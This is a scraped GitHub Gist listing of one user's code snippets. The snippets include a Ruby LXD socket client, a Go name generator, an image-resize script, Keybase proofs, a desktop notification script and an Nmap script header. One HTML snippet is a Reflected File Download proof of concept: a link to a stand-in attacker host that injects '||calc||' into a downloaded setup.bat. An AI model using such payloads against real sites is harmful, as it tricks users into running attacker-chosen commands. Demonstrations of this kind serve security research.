Skip to content

Instantly share code, notes, and snippets.

require 'net_http_unix'
require 'json'
def sample(url)
req = Net::HTTP::Get.new(url)
client = NetX::HTTPUnix.new('unix:///var/lib/lxd/unix.socket')
resp = client.request(req)
puts resp.body
end
package main
import (
"fmt"
"github.com/dotcloud/docker/pkg/namesgenerator"
)
func main() {
fmt.Println(namesgenerator.GetRandomName(0))
}
#!/bin/sh
for file in $1/*; do
echo "${file}"
convert -resize 128x128 ${file} ${file}.128x128.png
done
13,20c13,20
< 000000c0: 7346 dc91 66b6 7e11 8f02 9ab6 21b2 560f sF..f.~.....!.V.
< 000000d0: f9ca 67cc a8c7 f85b a84c 7903 0c2b 3de2 ..g....[.Ly..+=.
< 000000e0: 18f8 6db3 a909 01d5 df45 c14f 26fe dfb3 ..m......E.O&...
< 000000f0: dc38 e96a c22f e7bd 728f 0e45 bce0 46d2 .8.j./..r..E..F.
< 00000100: 3c57 0feb 1413 98bb 552e f5a0 a82b e331 <W......U....+.1
< 00000110: fea4 8037 b8b5 d71f 0e33 2edf 93ac 3500 ...7.....3....5.
< 00000120: eb4d dc0d ecc1 a864 790c 782c 7621 5660 .M.....dy.x,v!V`
< 00000130: dd30 9791 d06b d0af 3f98 cda4 bc46 29b1 .0...k..?....F).
---

Keybase proof

I hereby claim:

  • I am mrtc0 on github.
  • I am mrtc0 (https://keybase.io/mrtc0) on keybase.
  • I have a public key whose fingerprint is E487 B7F3 930F 4D4A FDBA 5244 D0E5 1F04 4FA2 0A68

To claim this, I am signing this object:

package main
import (
"bufio"
"fmt"
"os"
)
func main() {
scanner := bufio.NewScanner(os.Stdin)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<a download href='http://attacker.local/rfd/rfd.php/setup.bat?id="||calc||'>click here</a>
</body>
</html>

Keybase proof

I hereby claim:

  • I am mrt-k on github.
  • I am mrtc0 (https://keybase.io/mrtc0) on keybase.
  • I have a public key whose fingerprint is 7AC8 2893 C039 3227 3658 8F28 F670 0A9A 0D9B E809

To claim this, I am signing this object:

@mrtc0
mrtc0 / nofity_python.py
Created April 2, 2016 05:22
Desktop Notification
#!/usr/bin/python
from gi.repository import Notify
Notify.init ("Hello world")
Hello=Notify.Notification.new ("Hello world","This is an example notification.","dialog-information")
Hello.show ()
@mrtc0
mrtc0 / chinachu.nse
Created January 24, 2016 17:30
Get to recorded full-title from Chinachu
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local json = require "json"
description = [[
Get to recorded full-title from Chinachu
]]